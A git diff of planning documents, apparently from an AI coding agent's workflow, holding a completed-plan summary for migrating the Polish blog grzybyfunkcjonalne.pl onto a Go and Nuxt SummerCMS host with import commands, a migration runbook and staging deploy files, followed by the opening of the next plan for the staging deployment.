+| T-16-17 | Tampering | smoke.sh with SMOKE_ADMIN_DSN | medium | mitigate | The script creates grzyby_smoke_<random> and drops only that name on exit; it never runs migrate or DROP against any other database (T-02-05 precedent) |
+| T-16-SC | Tampering | Go module additions | high | mitigate | The plugin uses only modules already in the host graph and named in STACK.md (summercms framework, sm-journal-plugin, gorm, gocloud.dev); no new Go or npm package |
+</threat_model>
+
+<verification>
+- `bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh` prints "check-deploy: ok".
+- `bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh && bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh` prints "smoke: ok (N urls)".
+- `go -C ../sm-grzybyfunkcjonalne-app vet ./... && go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1` stays green.
+</verification>
+
+<success_criteria>
+- Admin at /gfadmin, /backend gone (D-09).
+- Featured images and category content import idempotently from PHP-side maps (D-21, D-22).
+- One ordered runbook: migrate, pl default, single import, categories, media, images, author (D-17, D-25).
+- Staging deploy files for two processes pass their checks (D-07, D-10), and a local rehearsal answers every live URL (D-15).
+</success_criteria>
+
+<output>
+Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md` when done, recording the live sitemap URL count frozen into urls.txt.
+</output>

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md

@@ -0,0 +1,373 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 03
+subsystem: infra (Go host, migration runbook, staging deploy)
+tags: [summercms, go, journal, migration, postgres, nginx, supervisor, smoke, nuxt-ssr]
+status: complete
+
+requires:
+  - phase: 16-02
+    provides: "vue-grzybyfunkcjonalne-app (submodule b50c808) answering the PHP URL map with SSR"
+  - phase: quick-261009-i6e
+    provides: "D-20 anonymous author endpoints (sm-journal-plugin 908ade9, 57a347c)"
+  - phase: quick-261009-mgk
+    provides: "D-21 category content column and API field (sm-journal-plugin 740dcd0, f22d089, 3d533d4)"
+provides:
+  - "admin at /gfadmin (config/backend.yaml uri: /gfadmin); no /backend route"
+  - "app plugin golem15.grzyby (plugins/grzyby, commands only): grzyby:import-posts, grzyby:import-featured-images, grzyby:import-categories"
+  - "scripts/migrate.sh: the ordered D-25/D-17 runbook (migrate, fresh-db guard, pl default, import once, categories, media, featured images, author, gap report)"
+  - "scripts/php-export/{featured-images.sql,categories.sql,README.md}: JSON Lines exports from the PHP database"
+  - "deploy/: staging nginx vhost, supervisor programs grzybyfunkcjonalne-go (8096) and grzybyfunkcjonalne-nuxt (3016), env templates"
+  - "scripts/build.sh, scripts/check-deploy.sh, scripts/smoke.sh (full, --go-only, --url) and scripts/urls.txt (71 live sitemap URLs + 27 more)"
+  - "host README; todo journal-imported-html-admin-resave"
+affects: [16-04, 16-05]
+
+actuals:
+  tokens: 25500    # chars/4 over the realized diff (host 33bc5e0..8f7f2de without go.sum and the PNG, plus the todo file)
+  tasks: 3
+  commits: 9       # MEASURED in sm-grzybyfunkcjonalne-app: git rev-list --count 33bc5e0..HEAD; plus 1 docs commit in summercms.go (6ff7d5d)
+commits: 9
+plan_head_before: 33bc5e04bfc2ad2c79c33b01c962d49ed21dd7cc   # sm-grzybyfunkcjonalne-app
+plan_head_after: 8f7f2de7650d9946970bc50e84cc9cc632057059    # sm-grzybyfunkcjonalne-app, pushed to origin/master
+
+tech-stack:
+  added: []
+  patterns:
+    - "App-local plugin as an in-repo module (plugins/grzyby) registered by summer plugin:add; commands only, no routes"
+    - "Plugin commands open and publish the database themselves (lookupDB via lagoon.OpenFromApp + lagoon.Publish)"
+    - "JSON Lines maps produced by read-only SQL on the PHP database drive idempotent Go import commands"
+    - "Runbook script with a fresh-database guard and an asserted locale switch before a one-shot import"
+    - "URL rehearsal from a line grammar shared with the app smoke ([remote] STATUS PATH [contains|notcontains|type])"
+
+key-files:
+  created:
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_posts.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/map.jsonl
+    - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/categories/map.jsonl
+    - ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
+    - ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
+    - ../sm-grzybyfunkcjonalne-app/scripts/build.sh
+    - ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
+    - ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
+    - ../sm-grzybyfunkcjonalne-app/scripts/php-export/featured-images.sql
+    - ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql
+    - ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
+    - ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+    - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf
+    - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
+    - ../sm-grzybyfunkcjonalne-app/deploy/env.example
+    - ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
+    - ../sm-grzybyfunkcjonalne-app/README.md
+    - .planning/todos/pending/journal-imported-html-admin-resave.md
+  modified:
+    - ../sm-grzybyfunkcjonalne-app/config/backend.yaml
+    - ../sm-grzybyfunkcjonalne-app/boot_test.go
+    - ../sm-grzybyfunkcjonalne-app/summer.yaml
+    - ../sm-grzybyfunkcjonalne-app/go.work
+    - ../sm-grzybyfunkcjonalne-app/go.mod
+    - ../sm-grzybyfunkcjonalne-app/plugins.gen.go
+    - ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
+    - ../sm-grzybyfunkcjonalne-app/.gitignore
+    - .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
+
+key-decisions:
+  - "Plugin commands in a summer-build host open and publish the database themselves, because the generated main.go publishes none for them; the journal import runs as grzyby:import-posts (the Journal command's own Run after the DB is opened)"
+  - "migrate.sh imports from a copy of the export in which only empty \"translations\": [] arrays become {}; the export directory stays untouched and the importer fix is deferred to sm-journal-plugin"
+  - "The URL rehearsal gives each URL its own X-Forwarded-For visitor (203.0.113.N): one address for ~90 SSR pages exceeds Go's 120/min per-visitor journal limit, and a broken XFF chain would still surface as 429s"
+  - "The nginx image location declares its own types map (jpeg/png/gif/webp, octet-stream default) so images keep an image type under nosniff whatever the server's mime.types; the regex is case-insensitive (~*) for upper-case extensions"
+  - "The boot test loads a temp copy of config/ so a developer's gitignored .env cannot override backend.uri"
+
+patterns-established:
+  - "scripts/smoke.sh --url BASE as the deployed-site check over urls.txt (16-04 reuses it on staging)"
+
+requirements-completed: [SC-1, SC-3]
+
+coverage:
+  - id: D1
+    description: "Admin at /gfadmin, no /backend route; the host journal gitlink points at 3d533d4 with the D-20 and D-21 additions (D-09)"
+    requirement: SC-1
+    verification:
+      - kind: unit
+        ref: "go -C ../sm-grzybyfunkcjonalne-app test ./... -run '^(TestBootUserTranslateJournal|TestCORS)$' (assertAdminMount, assertGrzybyCommands)"
+        status: pass
+      - kind: integration
+        ref: "scripts/smoke.sh --go-only: GET /gfadmin non-404, GET /backend 404"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "grzyby:import-featured-images copies the original under attach.BlobKey and attaches it to the post; the post answers on its pl slug with featured_image_url /storage/app/uploads/public/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png; a second run creates nothing (D-22)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "scripts/smoke.sh --go-only -> smoke: ok (go) (featured_image_url, file on disk equals source, base slug 404, 'Results: 0 created, 1 skipped, 0 failed')"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "grzyby:import-categories fills name, description and content preferring pl; cordyceps carries the content marker, amanita-muscaria is listed with post_count 0; a rerun reports 0 updated, 1 unchanged (D-21, D-24)"
+    requirement: SC-3
+    verification:
+      - kind: integration
+        ref: "scripts/smoke.sh --go-only (categories?include_empty=1 checks and the second run)"
+        status: pass
+      - kind: integration
+        ref: "scripts/php-export/categories.sql and featured-images.sql run on a throwaway MariaDB 12.3 fixture; output parsed by the Go command (--dry-run)"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "scripts/migrate.sh runs migrate, the fresh-database guard, the asserted pl default, the one-shot import, categories, media, featured images, author and the gap report in that order (D-25, D-17, D-15)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "scripts/smoke.sh (full) runs migrate, admin:create and migrate.sh --author-login admin --author-slug admin; 63 published posts served (meta.total)"
+        status: pass
+      - kind: manual_procedural
+        ref: "migrate.sh --dry-run and the unknown-author path run by hand on a scratch database (dies with 'author login ... does not exist')"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Staging deploy files: nginx vhost passes nginx -t; both supervisor programs parse with the required keys; /backend 404, image regex with nosniff, plain /storage/ 404, GET/HEAD only to Nuxt (D-07, D-10)"
+    requirement: SC-1
+    verification:
+      - kind: integration
+        ref: "scripts/check-deploy.sh -> check-deploy: ok"
+        status: pass
+      - kind: manual_procedural
+        ref: "the vhost run under a non-root nginx 1.30.4 on loopback: images 200 image/png with nosniff and HSTS, x.php and config.yaml 404, /backend 404, POST / 403, HTTP 301 to HTTPS"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Local rehearsal answers every non-remote urls.txt line: all 71 live sitemap URLs, /blog?page=2 keeping ?page=2, /amanita-muscaria 200, /autor/admin 200, /backend 404, /en/blog 404, /rss.xml as RSS (D-15, D-18)"
+    requirement: SC-3
+    verification:
+      - kind: e2e
+        ref: "scripts/build.sh && scripts/smoke.sh -> smoke: ok (95 urls)"
+        status: pass
+    human_judgment: false
+  - id: D7
+    description: "The runbook and deploy files work on the real PHP server (table names, morphs, Postgres and Node versions, paths)"
+    verification: []
+    human_judgment: true
+    rationale: "Only the staging deploy in 16-04 can confirm the server-side values the SQL files and deploy files assume"
+
+duration: 22 min
+completed: 2026-10-09
+---
+
+# Phase 16 Plan 03: Host, migration runbook and staging deploy Summary
+
+**`sm-grzybyfunkcjonalne-app` is now the deployable host.**
+
+- The admin is at `/gfadmin`.
+- An app plugin `golem15.grzyby` imports featured images under their Winter disk names and the category pillar content from JSON Lines maps produced by SQL on the PHP database.
+- One ordered runbook does the migration: migrate, an asserted pl default, a one-shot journal import, categories, media, featured images, the author and a gap report.
+- Staging deploy files cover two processes (Go on 8096, Nuxt on 3016 behind one nginx vhost).
+- A local rehearsal on a throwaway database answers all 95 local URL checks, including every one of the 71 live sitemap URLs.
+
+## Performance
+
+- **Duration:** 22 min
+- **Started:** 2026-10-09T16:31:36Z
+- **Completed:** 2026-10-09T16:54:03Z
+- **Tasks:** 3 (Task 1 a tracer, auto-verified end to end before expansion)
+- **Files:** 32 changed in the host (2,701 insertions), plus 1 todo and `deferred-items.md` in summercms.go
+
+## Accomplishments
+
+- **D-09.** `config/backend.yaml` sets `uri: /gfadmin`. The boot test asserts that some route starts with `/gfadmin/` and that none is under `/backend`. The nginx vhost answers 404 for `/backend`.
+- **Journal gitlink.** It now points at `3d533d4`, which carries the D-20 author endpoints and the D-21 category content.
+  - The nested clone had working-tree drift. I saved it as a patch and checked it against the upstream commits; all of it was already contained in `be4f33a..3d533d4`.
+  - I then discarded the drift file by file and checked out `3d533d4`.
+- **`golem15.grzyby`.** It was scaffolded with `summer make:plugin` and registered with `summer plugin:add`. `summer build` regenerated `plugins.gen.go` (`main.go` was unchanged). I stripped the plugin down to commands only:
+  - `grzyby:import-featured-images` (D-22, T-16-12): validates the disk name, applies the content-type allowlist and sniffs the bytes, keeps the source path inside `--source` and checks the size. It falls back from the base slug to the pl slug through the export, writes the blob under `attach.BlobKey` and inserts the `system_files` row. It is idempotent.
+  - `grzyby:import-categories` (D-21): prefers pl values and finds the category by pl slug, then base slug. It accepts `translations.pl` as an object, a JSON string (as MariaDB nests it) or null. Equal values count as unchanged.
+  - `grzyby:import-posts`: see deviation 1.
+- **The runbook (`scripts/migrate.sh`).** Steps run in the D-25 order.
+  - It refuses a database that already holds posts (Pitfall 3).
+  - It asserts that `pl` is the only enabled default before importing (Pitfall 1).
+  - The author step sets `golem15_bloghub_author_slug` and assigns every post without an author.
+  - The gap report flags and does not patch (D-17).
+  - `--dry-run` runs only the steps that write nothing.
+- **PHP exports.**
+  - `featured-images.sql` and `categories.sql` emit one `JSON_OBJECT` per row. I ran both against a throwaway MariaDB 12.3 with a fixture schema, and the Go command parsed the output.
+  - The README names the server checks: the post and category morphs and tables, and the `winter_`/`rainlab_`/`golem15_` translate table prefixes. It also gives the `sed` rewrites for the Blog plugin and the copy steps.
+- **Deploy.**
+  - nginx vhost with:
+    - `/gfadmin` and `/_journal/` proxied to Go (64 MiB body limit);
+    - the image regex location with nosniff, an explicit types map and 30-day expiry;
+    - a plain `/storage/` prefix answering 404;
+    - `limit_except GET HEAD` for Nuxt;
+    - `X-Forwarded-For` on every proxy.
+  - Supervisor programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt` (Node `--env-file`).
+  - `env.example` (adds `SUMMER_URL`) and `nuxt.env.example` (`NUXT_SITE_INDEXABLE=false`, empty GA).
+- **Build and checks.**
+  - `scripts/build.sh` builds `bin/grzybyfunkcjonalne` (linux/amd64) and `build/nuxt/.output`, and refuses generated-source drift.
+  - `scripts/check-deploy.sh` runs nginx -t in a temp prefix, checks both supervisor programs with configparser, and greps the vhost for its security locations.
+- **`scripts/urls.txt`.**
+  - It holds the **71 live sitemap URLs** fetched 2026-10-09 (`/`, `/blog`, 7 categories, 62 posts), the same set as at research time.
+  - It adds 27 more lines: pagination, static pages, 404 cases, Go paths and 3 remote nginx lines, for 98 checks in total.
+  - `scripts/smoke.sh` checks all 95 non-remote lines locally and every line with `--url`.
+
+## Task Commits
+
+All code commits are in `../sm-grzybyfunkcjonalne-app` (`master`, pushed `33bc5e0..8f7f2de` after sm-journal-plugin reached origin):
+
+0. `90f2dbd` chore: point journal gitlink at author endpoint and category content
+1. **Task 1 (tracer):**
+   - `5ccbc62` feat: mount the admin at /gfadmin
+   - `893cf42` feat: app plugin golem15.grzyby with featured-image import
+   - `a3266c3` fix: open the database for grzyby commands and add grzyby:import-posts
+   - `3f17f1c` feat: migration runbook and Go rehearsal
+2. **Task 2:**
+   - `30233d5` feat: grzyby:import-categories for category content
+   - `81ffce3` feat: runbook categories, media and author steps; PHP export queries
+   - `6ff7d5d` (summercms.go) docs: todo for Journal HTML content re-save
+3. **Task 3:**
+   - `07390b2` feat: staging deploy files and full URL rehearsal
+   - `8f7f2de` docs: host README
+
+**Tracer gate.** Interactive mode with `end-of-phase` and an automated-only `<verify>`. The verify was re-run and passed (vet, boot test, plugin vet, build, `smoke: ok (go)`, no `uri: /backend`) before expansion.
+
+**Plan metadata:** the docs commit in summercms.go (this SUMMARY, `deferred-items.md`, and my STATE/ROADMAP lines only).
+
+## Files Created/Modified
+
+See `key-files` in the frontmatter. Also:
+
+- `plugins/grzyby/go.mod`/`go.sum` (local replaces for the journal, translate and user modules).
+- The host `go.mod` and `go.work` (written by `summer plugin:add`).
+- The testdata 1×1 PNG at `plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png` (69 bytes).
+
+## Decisions Made
+
+See `key-decisions` in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Plugin commands get no database in a `summer build` host**
+- **Found during:** Task 1 (first rehearsal run: `journal: database is not configured`).
+- **Issue:** The generated `main.go` publishes no `*gorm.DB` for plugin commands. Only lagoon, cabana and `serve` open one. So `journal:import-posts` cannot run from the host CLI at all.
+- **Fix:**
+  - `lookupDB` opens and publishes `database.dsn` through `lagoon.OpenFromApp` and `lagoon.Publish`, which also runs the `OnDatabase` hooks.
+  - A thin `grzyby:import-posts` runs the Journal command's own `Run`, with the same flags, after that.
+  - `migrate.sh` calls it, and its step names say `journal:import-posts`.
+  - The framework fix is in `deferred-items.md`. This is outside this plan's files and the concurrency boundary (`modules/`).
+- **Files modified:** `plugins/grzyby/console/{helpers.go,import_posts.go}`, `plugin.go`, `boot_test.go`, `scripts/migrate.sh`.
+- **Verification:** The rehearsal imports 105 posts and serves 63 published.
+- **Commit:** `a3266c3`.
+
+**2. [Rule 3 - Blocking] The journal importer rejects `"translations": []`**
+- **Found during:** Task 1 (61 of 63 published posts served).
+- **Issue:** The PHP exporter writes empty translations as `[]`. Five files failed as "Invalid JSON", including the live post `ekstrakt-z-turkey-tail`.
+- **Fix:** `migrate.sh` imports from a temp copy in which only that empty array becomes `{}`, and prints the count. The importer fix is deferred to sm-journal-plugin.
+- **Commit:** `3f17f1c`.
+
+**3. [Rule 3 - Blocking] A local `.env` overrode `backend.uri` in the boot test**
+- **Issue:** compass reads `../.env` next to `config/`. The developer's gitignored host `.env`, which I did not read, keeps the admin at `/backend`, so the new `/gfadmin` assertion failed locally even though a clean work dir mounts `/gfadmin`.
+- **Fix:** The boot test loads a temp copy of `config/`.
+- **Commit:** `893cf42`.
+
+**4. [Rule 1 - Plan data] `/sitemap.xml` content type**
+- **Issue:** `@nuxtjs/sitemap` serves `text/xml; charset=UTF-8`, not `application/xml`.
+- **Fix:** `urls.txt` expects `type=text/xml`.
+- **Commit:** `07390b2`.
+
+**5. [Rule 1 - Test design] One visitor address exhausted the Go rate limit**
+- **Issue:** With `X-Forwarded-For: 203.0.113.7` on every URL, 28 checks got 429. About 90 SSR pages make more than 120 API calls a minute for that one visitor. This also proved the XFF chain works: the bucket used was the visitor's, not Nuxt's.
+- **Fix:** Each URL uses its own `203.0.113.N`.
+- **Commit:** `07390b2`.
+
+**6. [Rule 2 - Missing critical] Image types under nosniff**
+- **Issue:** Under a bare `http {}`, as in check-deploy, nginx served the images as `text/plain` with nosniff.
+- **Fix:** The image location declares its own `types` map and an octet-stream default, and matches case-insensitively (`~*`) for files like `.PNG`.
+- **Verification:** On loopback, the images answer `200 image/png`.
+- **Commit:** `07390b2`.
+
+**7. [Rule 2 - Missing critical] Featured-image hardening beyond the plan**
+- **Fix:** `http.DetectContentType` must match the declared type, and the file size must match the map.
+- **Commit:** `893cf42`.
+
+**8. [Scope adjustment] The UAT-host gap report**
+- **Issue:** The 2 known `gf.uat.golem15.com` references are only in the base text of one export file. The pl import replaces that text, so no imported body carries them.
+- **Fix:** The report lists the export file and the imported count (0) instead of claiming 2 broken bodies.
+- **Commit:** `81ffce3`.
+
+**9. [Scope adjustment] The scaffold was trimmed**
+- **Issue:** `make:plugin` writes the full scaffold (config, lang, mail views, `registry.gen.go`, `routes.go`).
+- **Fix:** I removed it. The plugin is `plugin.go` plus `console/`, with no routes, so D-14 is unchanged. `registry.gen.go` is refreshed only by `make:*` artifact commands, not by `summer build`.
+- **Commit:** `893cf42`.
+
+---
+
+**Total deviations:** 9. Three were blocking fixes, two were missing-critical additions, two were plan-data or test-design corrections, and two were scope adjustments.
+
+**Impact on plan:** Every planned artifact, command name, flag and key link exists. The only additions are `grzyby:import-posts` and the export normalization, both workarounds for upstream gaps that are now recorded in `deferred-items.md`.
+
+## Issues Encountered
+
+- **Precondition.** `SMOKE_ADMIN_DSN` was unset and Docker was unreachable for user `golem`.
+  - I used the orchestrator's sanctioned fallback: a private PostgreSQL 18.6 cluster (`initdb`, ICU, trust auth) on 127.0.0.1:55494 in the scratchpad.
+  - `SMOKE_ADMIN_DSN` pointed at that cluster for every rehearsal.
+  - The cluster and a throwaway MariaDB were stopped and removed at the end.
+  - No temporary override touched any repo file.
+- **pnpm.** pnpm ran with `TMPDIR` set to the scratchpad and the project-drive store (`npm_config_store_dir`), as in 16-01 and 16-02.
+- **`@nuxt/fonts`.** Its metadata fetches are blocked in the sandbox. The builds succeed with warnings only.
+- **Pre-existing state.** The host's untracked `.gsd/` was left alone.
+- **Concurrent edits.** Another session has uncommitted STATE/ROADMAP edits (Phase 18.1). This plan's metadata commit stages only its own changes and leaves theirs in the working tree.
+
+## Known Stubs
+
+None.
+
+## Threat Flags
+
+None beyond the plan's threat model. T-16-10 through T-16-17 and T-16-SC are implemented as planned:
+
+- no new Go HTTP endpoint;
+- no new Go or npm module (the plugin uses gorm, gocloud.dev, the framework and sm-journal-plugin, all already in the graph);
+- templates carry empty secrets, which the negative grep confirms;
+- the smoke drops only its `grzyby_smoke_<hex>` database.
+
+## User Setup Required
+
+None for this plan. `SMOKE_ADMIN_DSN` is optional (Docker or the user's own Postgres). The server values are confirmed in 16-04.
+
+## Next Phase Readiness
+
+**16-04 (staging deploy).**
+
+- On the server:
+  1. Run the two SQL files after the checks in `scripts/php-export/README.md`.
+  2. Copy the uploads, media and export.
+  3. Follow the README runbook (migrate, `admin:create`, `migrate.sh`).
+  4. Install the deploy files.
+  5. Run `scripts/smoke.sh --url https://staging.grzybyfunkcjonalne.pl`.
+- Decide on `first-journal-post` (published in the export, absent live).
+- Swap `listen ... http2` for `http2 on;` if the server's nginx is 1.25.1 or newer.
+
+**16-05 (unit tests).** These can target:
+
+- `ReadFeaturedImageMap` and `ImportFeaturedImages` (mem:// bucket, idempotency, path escape, type allowlist and sniffing);
+- `ReadCategoryMap`, `CategoryTranslations.UnmarshalJSON` and `ImportCategories` (unchanged detection);
+- `validDiskName`, `flagOrDefault` and `flagOn`.
+
+## Self-Check: PASSED
+
+- FOUND: every `key-files.created` path in the host and the todo in summercms.go.
+- FOUND: host commits `90f2dbd 5ccbc62 893cf42 a3266c3 3f17f1c 30233d5 81ffce3 07390b2 8f7f2de` on `origin/master`, and summercms.go `6ff7d5d`.
+- Plan verification, re-run after the last commit:
+  - `check-deploy: ok`;
+  - `build: bin/grzybyfunkcjonalne and build/nuxt/.output ready`;
+  - `smoke: ok (95 urls)`;
+  - `go vet ./...` and `go test ./... -count=1` ok;
+  - the env.example negative grep passes;
+  - every one of the 71 live locs has its `200 PATH` line in `urls.txt`.
+
+---
+*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
+*Completed: 2026-10-09*

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-PLAN.md

@@ -0,0 +1,226 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 04
+type: execute
+wave: 4
+depends_on: ["16-03"]
+files_modified:
+  - ../sm-grzybyfunkcjonalne-app/DEPLOY.md
+  - ../sm-grzybyfunkcjonalne-app/README.md
+  - ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+  - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf
+  - ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
+  - ../sm-grzybyfunkcjonalne-app/deploy/env.example
+  - ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
+  - ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
+  - ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
+autonomous: false
+requirements: [SC-1, SC-3]
+user_setup:
+  - service: PHP site server (staging host)
+    why: "D-10/D-18: staging runs on the same server as the live Winter site; the executor cannot create DNS records, certificates, database roles or its own SSH access"
+    env_vars:
+      - name: STAGING_SSH
+        source: "An ssh host alias (in ~/.ssh/config) for the PHP server with a user that may write /srv/grzybyfunkcjonalne and run sudo nginx -t, systemctl reload nginx and supervisorctl"
+      - name: STAGING_URL
+        source: "The staging base URL, e.g. https://staging.grzybyfunkcjonalne.pl (DNS record and certificate created by the human)"
+    dashboard_config:
+      - task: "DNS A/AAAA record for the staging host pointing at the PHP server"
+        location: "DNS provider of grzybyfunkcjonalne.pl"
+      - task: "Run scripts/php-export/featured-images.sql and categories.sql on the PHP database and place the two JSONL outputs on the server"
+        location: "PHP server, mysql client against the live Winter database (read-only queries)"
+estimate:
+  tokens: 80000
+  raw_tokens: 80000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-18 / SC-1: grzybyfunkcjonalne content runs end to end on staging on the PHP site's server: the Go binary (supervisor program grzybyfunkcjonalne-go) and the Nuxt server (grzybyfunkcjonalne-nuxt) behind one staging nginx vhost, with the imported posts."
+    - "D-15 / D-18: scripts/smoke.sh --url $STAGING_URL passes every line of scripts/urls.txt, which holds every URL of the live sitemap plus the static and negative cases."
+    - "D-10: the live Winter vhost, php-fpm and the PHP database are not modified; only new files (one nginx vhost, two supervisor programs, /srv/grzybyfunkcjonalne) are added, and the Winter install stays the rollback."
+    - "D-25: on the staging database pl was made the only default locale before journal:import-posts, and the import ran once into a fresh database."
+    - "D-21/D-22/D-17: category pillar content, featured images (old /storage/app/uploads/public URLs) and storage/app/media files are present on staging, filled from the PHP database queries and storage copies."
+    - "D-09: the admin answers at $STAGING_URL/gfadmin and /backend answers 404."
+    - "D-23: staging renders no Google Analytics script (NUXT_PUBLIC_GA_ID empty)."
+    - "Staging is not indexable (NUXT_SITE_INDEXABLE=false), so it never competes with the live site in search."
+    - "The production nginx/DNS switch is not performed by this plan (deferred operational step)."
+  artifacts:
+    - path: "../sm-grzybyfunkcjonalne-app/DEPLOY.md"
+      provides: "server facts, upload/release steps, migration runbook, smoke, rollback, and the deferred cutover notes"
+      contains: "Rollback"
+    - path: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
+      provides: "the vhost as installed on the server"
+      contains: "server_name"
+  key_links:
+    - from: "nginx staging vhost on the PHP server"
+      to: "grzybyfunkcjonalne-go (127.0.0.1:8096) and grzybyfunkcjonalne-nuxt (127.0.0.1:3016)"
+      via: "proxy_pass by path: /gfadmin and /_journal/ to Go, image files under /storage/app to disk, everything else to Nuxt"
+      pattern: "proxy_pass"
+    - from: "grzybyfunkcjonalne-nuxt"
+      to: "grzybyfunkcjonalne-go"
+      via: "NUXT_JOURNAL_API_BASE=http://127.0.0.1:8096/_journal/api/v1 in /srv/grzybyfunkcjonalne/nuxt/.env"
+      pattern: "NUXT_JOURNAL_API_BASE"
+---
+
+## Phase Goal
+
+ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
+
+MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
+
+This plan's slice: one imported post loads over HTTPS from the staging host on the PHP server, served by Nuxt from the Go Journal API; then every old URL is checked on staging and the deploy is documented.
+
+<objective>
+Deploy the site to staging on the PHP site's server (D-10, D-18): resolve the server prerequisites at a human checkpoint, install the two processes and the vhost, run the migration runbook against the real PHP data, and check every old URL on staging.
+
+Purpose: SC-1 counts as met once the site is served by SummerCMS on staging (D-18); SC-3 is proven against the live URL list.
+Output: a running staging site, DEPLOY.md, deploy files matching what is installed, and a passing remote smoke.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md
+@../sm-grzybyfunkcjonalne-app/README.md
+@../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
+@../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
+@../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
+@../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+@../sm-summercmsio-app/DEPLOY.md
+</context>
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
+
+## Artifacts this phase produces
+
+- Staging site at `$STAGING_URL` on the PHP server: directory `/srv/grzybyfunkcjonalne/{go,nuxt,import}` (exact paths recorded in DEPLOY.md), supervisor programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, nginx vhost `grzybyfunkcjonalne-staging.conf`, Postgres database `grzybyfunkcjonalne` (ICU pl-PL).
+- `DEPLOY.md` in the host repo (sections: Server facts, Prerequisites, Build and upload, First install, Migration runbook, Smoke, Release, Rollback, Production cutover (not done in this phase)).
+- Deploy files and `scripts/check-deploy.sh` updated to the confirmed server facts; `scripts/urls.txt` re-pulled from the live sitemap when it changed.
+
+<tasks>
+
+<task type="checkpoint:human-action" gate="blocking-human">
+  <name>Task 1: Server prerequisites on the PHP site's server (staging host, TLS, Postgres, Node, access, PHP export maps)</name>
+  <read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pitfall 12, Open Questions 3 and 4, Environment Availability), ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md, ../sm-grzybyfunkcjonalne-app/config/database.yaml, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-summercmsio-app/DEPLOY.md</read_first>
